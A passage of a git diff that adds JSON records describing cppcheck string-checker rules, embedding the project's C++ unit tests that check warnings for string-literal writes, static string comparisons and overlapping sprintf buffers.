MACRO(C) if(!(C)) { error(__FILE__, __LINE__, __FUNCTION__, #C); return; }\\n\" // #13067\n \"void f() {\\n\"\n \" MACRO(false && \\\"abc\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define strequ(s1,s2) ((void *)s1 && (void *)s2 && strcmp(s1, s2) == 0)\\n\" // #13093\n \"void f(const char* p) {\\n\"\n \" if (strequ(p, \\\"ALL\\\")) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void deadStrcmp() {\n check(\"void f(const char *str) {\\n\"\n \" if (strcmp(str, \\\"abc\\\") == 0 || strcmp(str, \\\"def\\\")) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:40]: (warning) The expression 'strcmp(str,\\\"def\\\") != 0' is suspicious. It overlaps 'strcmp(str,\\\"abc\\\") == 0'. [overlappingStrcmp]\\n\", errout_str());\n\n check(\"void f(const wchar_t *str) {\\n\"\n \" if (wcscmp(str, L\\\"abc\\\") == 0 || wcscmp(str, L\\\"def\\\")) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:41]: (warning) The expression 'wcscmp(str,L\\\"def\\\") != 0' is suspicious. It overlaps 'wcscmp(str,L\\\"abc\\\") == 0'. [overlappingStrcmp]\\n\", errout_str());\n\n check(\"struct X {\\n\"\n \" char *str;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f(const struct X *x) {\\n\"\n \" if (strcmp(x->str, \\\"abc\\\") == 0 || strcmp(x->str, \\\"def\\\")) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:43]: (warning) The expression 'strcmp(x->str,\\\"def\\\") != 0' is suspicious. It overlaps 'strcmp(x->str,\\\"abc\\\") == 0'. [overlappingStrcmp]\\n\", errout_str());\n }\n};\n\nREGISTER_TEST(TestString)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckString/checkSuspiciousStringCompare.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckString/checkSuspiciousStringCompare.json new file mode 100644 index 0000000..cce81c4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckString/checkSuspiciousStringCompare.json @@ -0,0 +1,22 @@ +{ + "name": "checkSuspiciousStringCompare", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 31, + "branches": 15, + "apis": 35, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 304 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n\n#include \"checkstring.h\"\n#include \"errortypes.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n#include \"fixture.h\"\n\n#include \n\nclass TestString : public TestFixture {\npublic:\n TestString() : TestFixture(\"TestString\") {}\n\nprivate:\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(stringLiteralWrite);\n\n TEST_CASE(alwaysTrueFalseStringCompare);\n TEST_CASE(suspiciousStringCompare);\n TEST_CASE(suspiciousStringCompare_char);\n\n TEST_CASE(strPlusChar1); // \"/usr\" + '/'\n TEST_CASE(strPlusChar2); // \"/usr\" + ch\n TEST_CASE(strPlusChar3); // ok: path + \"/sub\" + '/'\n TEST_CASE(strPlusChar4); // L\"/usr\" + L'/'\n\n TEST_CASE(snprintf1); // Dangerous usage of snprintf\n TEST_CASE(sprintf1); // Dangerous usage of sprintf\n TEST_CASE(sprintf2);\n TEST_CASE(sprintf3);\n TEST_CASE(sprintf4); // struct member\n TEST_CASE(sprintf5); // another struct member\n TEST_CASE(sprintf6); // (char*)\n TEST_CASE(sprintf7); // (char*)(void*)\n TEST_CASE(wsprintf1); // Dangerous usage of wsprintf\n\n TEST_CASE(incorrectStringCompare);\n\n TEST_CASE(deadStrcmp);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool cpp = true;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n void check_(const char* file, int line, const char code[], const CheckOptions& options = make_default_obj()) {\n SimpleTokenizer2 tokenizer(settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenize..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check char variable usage..\n runChecks(tokenizer, this);\n }\n\n void stringLiteralWrite() {\n check(\"void f() {\\n\"\n \" char *abc = \\\"abc\\\";\\n\"\n \" abc[0] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3] -> [test.cpp:2:15]: (error) Modifying string literal \\\"abc\\\" directly or indirectly is undefined behaviour. [stringLiteralWrite]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char *abc = \\\"abc\\\";\\n\"\n \" *abc = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4] -> [test.cpp:2:15]: (error) Modifying string literal \\\"abc\\\" directly or indirectly is undefined behaviour. [stringLiteralWrite]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char *abc = \\\"A very long string literal\\\";\\n\"\n \" abc[0] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3] -> [test.cpp:2:15]: (error) Modifying string literal \\\"A very long stri..\\\" directly or indirectly is undefined behaviour. [stringLiteralWrite]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" QString abc = \\\"abc\\\";\\n\"\n \" abc[0] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo_FP1(char *p) {\\n\"\n \" p[1] = 'B';\\n\"\n \"}\\n\"\n \"void foo_FP2(void) {\\n\"\n \" char* s = \\\"Y\\\";\\n\"\n \" foo_FP1(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:3] -> [test.cpp:5:13]: (error) Modifying string literal \\\"Y\\\" directly or indirectly is undefined behaviour. [stringLiteralWrite]\\n\",\n errout_str());\n\n check(\"void foo_FP1(char *p) {\\n\"\n \" p[1] = 'B';\\n\"\n \"}\\n\"\n \"void foo_FP2(void) {\\n\"\n \" char s[10] = \\\"Y\\\";\\n\"\n \" foo_FP1(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" wchar_t *abc = L\\\"abc\\\";\\n\"\n \" abc[0] = u'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3] -> [test.cpp:2:18]: (error) Modifying string literal L\\\"abc\\\" directly or indirectly is undefined behaviour. [stringLiteralWrite]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char16_t *abc = u\\\"abc\\\";\\n\"\n \" abc[0] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3] -> [test.cpp:2:19]: (error) Modifying string literal u\\\"abc\\\" directly or indirectly is undefined behaviour. [stringLiteralWrite]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #8332\n \" int i;\\n\"\n \" char *p = \\\"string literal\\\";\\n\"\n \" for( i = 0; i < strlen(p); i++) {\\n\"\n \" p[i] = \\'X\\';\\n\" // <<\n \" }\\n\"\n \" printf(\\\"%s\\\\n\\\", p);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:3:16]: (error) Modifying string literal \\\"string literal\\\" directly or indirectly is undefined behaviour. [stringLiteralWrite]\\n\", errout_str());\n }\n\n void alwaysTrueFalseStringCompare() {\n check(\"void f() {\\n\"\n \" if (strcmp(\\\"A\\\",\\\"A\\\")){}\\n\"\n \" if (strncmp(\\\"A\\\",\\\"A\\\",1)){}\\n\"\n \" if (strcasecmp(\\\"A\\\",\\\"A\\\")){}\\n\"\n \" if (strncasecmp(\\\"A\\\",\\\"A\\\",1)){}\\n\"\n \" if (memcmp(\\\"A\\\",\\\"A\\\",1)){}\\n\"\n \" if (strverscmp(\\\"A\\\",\\\"A\\\")){}\\n\"\n \" if (bcmp(\\\"A\\\",\\\"A\\\",1)){}\\n\"\n \" if (wcsncasecmp(L\\\"A\\\",L\\\"A\\\",1)){}\\n\"\n \" if (wcsncmp(L\\\"A\\\",L\\\"A\\\",1)){}\\n\"\n \" if (wmemcmp(L\\\"A\\\",L\\\"A\\\",1)){}\\n\"\n \" if (wcscmp(L\\\"A\\\",L\\\"A\\\")){}\\n\"\n \" if (wcscasecmp(L\\\"A\\\",L\\\"A\\\")){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:3:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:4:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:5:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:6:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:7:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:8:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:9:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:10:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:11:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:12:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\"\n \"[test.cpp:13:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\", errout_str());\n\n // avoid false positives when the address is modified #6415\n check(\"void f(void *p, int offset) {\\n\"\n \" if (!memcmp(p, p + offset, 42)){}\\n\"\n \" if (!memcmp(p + offset, p, 42)){}\\n\"\n \" if (!memcmp(offset + p, p, 42)){}\\n\"\n \" if (!memcmp(p, offset + p, 42)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // avoid false positives when the address is modified #6415\n check(\"void f(char *c, int offset) {\\n\"\n \" if (!memcmp(c, c + offset, 42)){}\\n\"\n \" if (!memcmp(c + offset, c, 42)){}\\n\"\n \" if (!memcmp(offset + c, c, 42)){}\\n\"\n \" if (!memcmp(c, offset + c, 42)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // avoid false positives when the address is modified #6415\n check(\"void f(std::string s, int offset) {\\n\"\n \" if (!memcmp(s.c_str(), s.c_str() + offset, 42)){}\\n\"\n \" if (!memcmp(s.c_str() + offset, s.c_str(), 42)){}\\n\"\n \" if (!memcmp(offset + s.c_str(), s.c_str(), 42)){}\\n\"\n \" if (!memcmp(s.c_str(), offset + s.c_str(), 42)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(void) {\\n\" // #13527\n \" const wchar_t* str1 = L\\\"Hello\\\";\\n\"\n \" return wcsicmp(str1, str1);\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Comparison of identical string variables. [stringCompare]\\n\", errout_str());\n\n check(\"int main()\\n\"\n \"{\\n\"\n \" if (strcmp(\\\"00FF00\\\", \\\"00FF00\\\") == 0)\"\n \" {\"\n \" std::cout << \\\"Equal\\\";\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (strcmp($\\\"00FF00\\\", \\\"00FF00\\\") == 0) {}\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if ($strcmp(\\\"00FF00\\\", \\\"00FF00\\\") == 0) {}\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main()\\n\"\n \"{\\n\"\n \" if (stricmp(\\\"hotdog\\\",\\\"HOTdog\\\") == 0)\"\n \" {\"\n \" std::cout << \\\"Equal\\\";\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\", errout_str());\n\n check(\"int main()\\n\"\n \"{\\n\"\n \" if (QString::compare(\\\"Hamburger\\\", \\\"Hotdog\\\") == 0)\"\n \" {\"\n \" std::cout << \\\"Equal\\\";\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\", errout_str());\n\n check(\"int main()\\n\"\n \"{\\n\"\n \" if (QString::compare(argv[2], \\\"hotdog\\\") == 0)\"\n \" {\"\n \" std::cout << \\\"Equal\\\";\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main()\\n\"\n \"{\\n\"\n \" if (strncmp(\\\"hotdog\\\",\\\"hotdog\\\", 6) == 0)\"\n \" {\"\n \" std::cout << \\\"Equal\\\";\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\", errout_str());\n\n check(\"int foo(const char *buf)\\n\"\n \"{\\n\"\n \" if (strcmp(buf, buf) == 0)\"\n \" {\"\n \" std::cout << \\\"Equal\\\";\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Comparison of identical string variables. [stringCompare]\\n\", errout_str());\n\n check(\"int foo(const std::string& buf)\\n\"\n \"{\\n\"\n \" if (stricmp(buf.c_str(), buf.c_str()) == 0)\"\n \" {\"\n \" std::cout << \\\"Equal\\\";\"\n \" }\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Comparison of identical string variables. [stringCompare]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" if (\\\"str\\\" == \\\"str\\\") {\\n\"\n \" std::cout << \\\"Equal\\\";\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" if (\\\"str\\\" != \\\"str\\\") {\\n\"\n \" std::cout << \\\"Equal\\\";\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:6]: (warning) Unnecessary comparison of static strings. [staticStringCompare]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" if (a+\\\"str\\\" != \\\"str\\\"+b) {\\n\"\n \" std::cout << \\\"Equal\\\";\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousStringCompare() {\n check(\"bool foo(char* c) {\\n\"\n \" return c == \\\"x\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) String literal compared with variable 'c'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(char** c) {\\n\"\n \" return c[3] == \\\"x\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) String literal compared with variable 'c[3]'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(wchar_t* c) {\\n\"\n \" return c == L\\\"x\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) String literal compared with variable 'c'. Did you intend to use wcscmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(const char* c) {\\n\"\n \" return \\\"x\\\" == c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) String literal compared with variable 'c'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(char* c) {\\n\"\n \" return foo+\\\"x\\\" == c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(char* c) {\\n\"\n \" return \\\"x\\\" == c+foo;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(char* c) {\\n\"\n \" return \\\"x\\\" == c+foo;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:2:16]: (warning) String literal compared with variable 'c+foo'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(Foo c) {\\n\"\n \" return \\\"x\\\" == c.foo;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(Foo c) {\\n\"\n \" return \\\"x\\\" == c.foo;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:2:16]: (warning) String literal compared with variable 'c.foo'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(const std::string& c) {\\n\"\n \" return \\\"x\\\" == c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(const Foo* c) {\\n\"\n \" return \\\"x\\\" == c->bar();\\n\" // #4314\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #4257\n check(\"bool foo() {\\n\"\n \"MyString *str=Getter();\\n\"\n \"return *str==\\\"bug\\\"; }\\n\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (warning) String literal compared with variable '*str'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n // Ticket #4257\n check(\"bool foo() {\\n\"\n \"MyString *str=Getter();\\n\"\n \"return *str==\\\"bug\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #4257\n check(\"bool foo() {\\n\"\n \"MyString **str=OtherGetter();\\n\"\n \"return *str==\\\"bug\\\"; }\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (warning) String literal compared with variable '*str'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n // Ticket #4257\n check(\"bool foo() {\\n\"\n \"MyString str=OtherGetter2();\\n\"\n \"return &str==\\\"bug\\\"; }\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (warning) String literal compared with variable '&str'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n // Ticket #5734\n check(\"int foo(char c) {\\n\"\n \"return c == '4';}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo(char c) {\\n\"\n \"return c == '4';}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo(char c) {\\n\"\n \"return c == \\\"42\\\"[0];}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo(char c) {\\n\"\n \"return c == \\\"42\\\"[0];}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n // 5639 String literal compared with char buffer in a struct\n check(\"struct Example {\\n\"\n \" char buffer[200];\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" struct Example example;\\n\"\n \" if (example.buffer == \\\"test\\\") ;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (warning) String literal compared with variable 'example.buffer'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n check(\"struct Example {\\n\"\n \" char buffer[200];\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" struct Example example;\\n\"\n \" if (example.buffer == \\\"test\\\") ;\\n\"\n \"}\\n\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:6:23]: (warning) String literal compared with variable 'example.buffer'. Did you intend to use strcmp() instead? [literalWithCharPtrCompare]\\n\", errout_str());\n\n // #9726\n check(\"void f(std::vector theArgs) {\\n\"\n \" std::string arg1(*theArgs.begin());\\n\"\n \" if(arg1 == \\\"aaa\\\") {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousStringCompare_char() {\n check(\"bool foo(char* c) {\\n\"\n \" return c == 'x';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Char literal compared with pointer 'c'. Did you intend to dereference it? [charLiteralWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(wchar_t* c) {\\n\"\n \" return c == L'x';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Char literal compared with pointer 'c'. Did you intend to dereference it? [charLiteralWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(char* c) {\\n\"\n \" return '\\\\0' != c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Char literal compared with pointer 'c'. Did you intend to dereference it? [charLiteralWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(char c) {\\n\"\n \" return c == '\\\\0';\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(char* c) {\\n\"\n \" return c[0] == '\\\\0';\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(char** c) {\\n\"\n \" return c[0] == '\\\\0';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Char literal compared with pointer 'c[0]'. Did you intend to dereference it? [charLiteralWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(char** c) {\\n\"\n \" return *c == '\\\\0';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Char literal compared with pointer '*c'. Did you intend to dereference it? [charLiteralWithCharPtrCompare]\\n\", errout_str());\n\n check(\"bool foo(char c) {\\n\"\n \" return c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(char* c) {\\n\"\n \" return *c == 0;\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(char* c) {\\n\"\n \" return *c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(Foo* c) {\\n\"\n \" return 0 == c->x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char* c) {\\n\"\n \" if(c == '\\\\0') bar();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Char literal compared with pointer 'c'. Did you intend to dereference it? [charLiteralWithCharPtrCompare]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct { struct { char *str; } x; } a;\\n\"\n \" return a.x.str == '\\\\0';\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Char literal compared with pointer 'a.x.str'. Did you intend to dereference it? [charLiteralWithCharPtrCompare]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" struct { struct { char *str; } x; } a;\\n\"\n \" return *a.x.str == '\\\\0';\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void snprintf1() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[100];\\n\"\n \" snprintf(buf,100,\\\"%s\\\",buf);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (error) Undefined behavior: Variable 'buf' is used as parameter and destination in snprintf(). [sprintfOverlappingData]\\n\", errout_str());\n }\n\n void sprintf1() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[100];\\n\"\n \" sprintf(buf,\\\"%s\\\",buf);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:22]: (error) Undefined behavior: Variable 'buf' is used as parameter and destination in sprintf(). [sprintfOverlappingData]\\n\", errout_str());\n }\n\n void sprintf2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[100];\\n\"\n \" sprintf(buf,\\\"%i\\\",sizeof(buf));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sprintf3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[100];\\n\"\n \" sprintf(buf,\\\"%i\\\",sizeof(buf));\\n\"\n \" if (buf[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sprintf4() {\n check(\"struct A\\n\"\n \"{\\n\"\n \" char filename[128];\\n\"\n \"};\\n\"\n \"\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" const char* filename = \\\"hello\\\";\\n\"\n \" struct A a;\\n\"\n \" snprintf(a.filename, 128, \\\"%s\\\", filename);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sprintf5() {\n check(\"struct A\\n\"\n \"{\\n\"\n \" char filename[128];\\n\"\n \"};\\n\"\n \"\\n\"\n \"void foo(struct A *a)\\n\"\n \"{\\n\"\n \" snprintf(a->filename, 128, \\\"%s\\\", a->filename);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:39]: (error) Undefined behavior: Variable 'a->filename' is used as parameter and destination in snprintf(). [sprintfOverlappingData]\\n\", errout_str());\n }\n\n void sprintf6() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[100];\\n\"\n \" sprintf((char*)buf,\\\"%s\\\",(char*)buf);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:29]: (error) Undefined behavior: Variable 'buf' is used as parameter and destination in sprintf(). [sprintfOverlappingData]\\n\", errout_str());\n }\n\n void sprintf7() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char buf[100];\\n\"\n \" sprintf((char*)(void*)buf,\\\"%s\\\",(void*)(char*)buf);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:36]: (error) Undefined behavior: Variable 'buf' is used as parameter and destination in sprintf(). [sprintfOverlappingData]\\n\", errout_str());\n }\n\n void wsprintf1() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" wchar_t buf[100];\\n\"\n \" swprintf(buf,10, \\\"%s\\\",buf);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (error) Undefined behavior: Variable 'buf' is used as parameter and destination in swprintf(). [sprintfOverlappingData]\\n\", errout_str());\n }\n\n void strPlusChar1() {\n // Strange looking pointer arithmetic..\n check(\"void foo()\\n\"\n \"{\\n\"\n \" const char *p = \\\"/usr\\\" + '/';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (error) Unusual pointer arithmetic. A value of type 'char' is added to a string literal. [strPlusChar]\\n\", errout_str());\n }\n\n void strPlusChar2() {\n // Strange looking pointer arithmetic..\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char ch = 1;\\n\"\n \" const char *p = ch + \\\"/usr\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Strange looking pointer arithmetic..\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i = 1;\\n\"\n \" const char* psz = \\\"Bla\\\";\\n\"\n \" const std::string str = i + psz;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void strPlusChar3() {\n // Strange looking pointer arithmetic..\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::string temp = \\\"/tmp\\\";\\n\"\n \" std::string path = temp + '/' + \\\"sub\\\" + '/';\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void strPlusChar4() {\n // Strange looking pointer arithmetic, wide char..\n check(\"void foo()\\n\"\n \"{\\n\"\n \" const wchar_t *p = L\\\"/usr\\\" + L'/';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:32]: (error) Unusual pointer arithmetic. A value of type 'wchar_t' is added to a string literal. [strPlusChar]\\n\", errout_str());\n\n check(\"void foo(wchar_t c)\\n\"\n \"{\\n\"\n \" const wchar_t *p = L\\\"/usr\\\" + c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:32]: (error) Unusual pointer arithmetic. A value of type 'wchar_t' is added to a string literal. [strPlusChar]\\n\", errout_str());\n }\n\n void incorrectStringCompare() {\n check(\"int f() {\\n\"\n \" return test.substr( 0 , 4 ) == \\\"Hello\\\" ? 0 : 1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) String literal \\\"Hello\\\" doesn't match length argument for substr(). [incorrectStringCompare]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return test.substr( 0 , 4 ) == L\\\"Hello\\\" ? 0 : 1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) String literal L\\\"Hello\\\" doesn't match length argument for substr(). [incorrectStringCompare]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return test.substr( 0 , 5 ) == \\\"Hello\\\" ? 0 : 1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" return \\\"Hello\\\" == test.substr( 0 , 4 